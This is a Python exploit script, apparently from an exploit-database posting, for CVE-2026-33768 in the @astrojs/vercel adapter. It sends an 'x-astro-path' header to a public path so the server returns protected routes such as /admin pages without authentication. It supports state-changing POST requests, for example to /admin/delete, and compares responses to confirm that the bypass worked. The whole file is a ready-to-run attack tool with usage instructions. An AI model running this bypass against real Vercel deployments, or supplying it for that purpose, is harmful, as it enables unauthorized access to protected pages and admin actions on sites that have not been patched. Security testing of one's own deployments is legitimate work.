#!/usr/bin/env python3
# Exploit Title: @astrojs/vercel <= 10.0.0 - Unauthenticated x-astro-path Header Path Override
# CVE: CVE-2026-33768
# Date: 2026-03-25
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Author Blog : https://banyamersecurity.com/blog/
# Vendor Homepage: https://astro.build
# Software Link: https://github.com/withastro/astro
# Affected: @astrojs/vercel <= 10.0.0
# Tested on: @astrojs/vercel 10.0.0
# Category: WebApps
# Platform: Vercel Serverless
# Exploit Type: Path Override / Bypass
# CVSS: 7.5 (High)
# Description: Unauthenticated path override via x-astro-path or x_astro_path header/query parameter in Astro Vercel adapter.
# Fixed in: @astrojs/vercel 10.0.2
# Usage:
# python3 exploit.py <base_url> <target_path> [original_path] [method] [json_data]
#
# Examples:
# python3 exploit.py https://example.vercel.app /admin/secret
# python3 exploit.py https://example.vercel.app /admin/delete /public POST '{"userId":123}'
#
# Notes:
# • Full professional exploit with protection check, response diff analysis,
# redirect detection, and support for cookies / custom headers
# • Compares direct access vs bypass to prove real success
# • Detects if redirected to login or reached protected content
import requests
import sys
import json
import difflib
from urllib.parse import urljoin
def banner():
print(r"""
╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝
║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗
║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
╔═╗ Banyamer Security ╔═╗
""")
def get_response(base_url, path, headers=None, cookies=None, method="GET", data=None, allow_redirects=True):
full_url = urljoin(base_url.rstrip("/") + "/", path.lstrip("/"))
req_headers = {"User-Agent": "Mozilla/5.0 (compatible; CVE-2026-33768-PoC)"}
if headers:
req_headers.update(headers)
try:
if method.upper() == "GET":
r = requests.get(full_url, headers=req_headers, cookies=cookies, timeout=15, allow_redirects=allow_redirects)
else:
r = requests.request(method.upper(), full_url, headers=req_headers, cookies=cookies, json=data, timeout=15, allow_redirects=allow_redirects)
return r
except Exception as e:
print(f"Error requesting {path}: {e}")
return None
def analyze_redirect(response):
if response is None:
return "No response"
if response.is_redirect or (300 <= response.status_code < 400):
location = response.headers.get("Location", "Unknown")
return f"Redirected to: {location}"
return "No redirect"
def response_diff(direct_text, bypass_text):
if not direct_text or not bypass_text:
return "Cannot compare (one response is empty)"
diff = difflib.unified_diff(
direct_text.splitlines(keepends=True),
bypass_text.splitlines(keepends=True),
fromfile='Direct Access',
tofile='Bypass Access',
lineterm=''
)
diff_text = ''.join(diff)
if diff_text.strip():
print("\n[+] Content Difference Detected (Proof of Bypass):")
print(diff_text[:1200])
else:
print("\n[+] No major content difference (pages may be similar or identical)")
def exploit_astro_vercel(base_url, target_path, original_path="/public", method="GET", data=None, cookies=None, extra_headers=None):
print(f"[+] Target URL : {base_url}")
print(f"[+] Original Path : {original_path}")
print(f"[+] Target Path : {target_path}")
print(f"[+] Method : {method}\n")
# Step 1: Direct access (to check protection)
print("[+] 1. Testing direct access to protected path...")
direct_resp = get_response(base_url, target_path, cookies=cookies, method=method, data=data)
if direct_resp:
print(f" Status: {direct_resp.status_code}")
print(f" Redirect: {analyze_redirect(direct_resp)}")
direct_text = direct_resp.text
else:
direct_text = ""
# Step 2: Bypass attempt
print("\n[+] 2. Attempting path override bypass...")
bypass_headers = {"x-astro-path": target_path}
if extra_headers:
bypass_headers.update(extra_headers)
bypass_resp = get_response(
base_url,
original_path,
headers=bypass_headers,
cookies=cookies,
method=method,
data=data
)
if bypass_resp:
print(f" Bypass Status: {bypass_resp.status_code}")
print(f" Redirect: {analyze_redirect(bypass_resp)}")
bypass_text = bypass_resp.text
else:
bypass_text = ""
# Step 3: Analysis
print("\n" + "="*70)
print("ANALYSIS & PROOF")
print("="*70)
if bypass_resp and bypass_resp.status_code in (200, 201, 204):
print("SUCCESS: Bypass returned successful status code!")
if "login" in bypass_resp.text.lower() or "auth" in bypass_resp.text.lower():
print("WARNING: Response contains login/auth keywords - may still be blocked")
else:
print("Strong indication that protected content was reached!")
response_diff(direct_text, bypass_text)
else:
print("Bypass did not return success status.")
if bypass_resp:
print("\n[+] First 800 characters of bypass response:")
print(bypass_resp.text[:800])
if __name__ == "__main__":
banner()
if len(sys.argv) < 3:
print("Usage: python3 exploit.py <base_url> <target_path> [original_path] [method]")
print("Example:")
print(" python3 exploit.py https://target.vercel.app /admin/dashboard")
print(" python3 exploit.py https://target.vercel.app /admin/delete /api/health POST")
sys.exit(1)
base_url = sys.argv[1]
target_path = sys.argv[2]
original_path = sys.argv[3] if len(sys.argv) > 3 else "/public"
method = sys.argv[4] if len(sys.argv) > 4 else "GET"
data = None
if len(sys.argv) > 5 and method.upper() != "GET":
try:
data = json.loads(sys.argv[5])
except:
data = {"test": "data"}
cookies = None # Add cookies here if needed (dict)
extra_headers = None # Add extra headers here if needed (dict)
exploit_astro_vercel(base_url, target_path, original_path, method, data, cookies, extra_headers)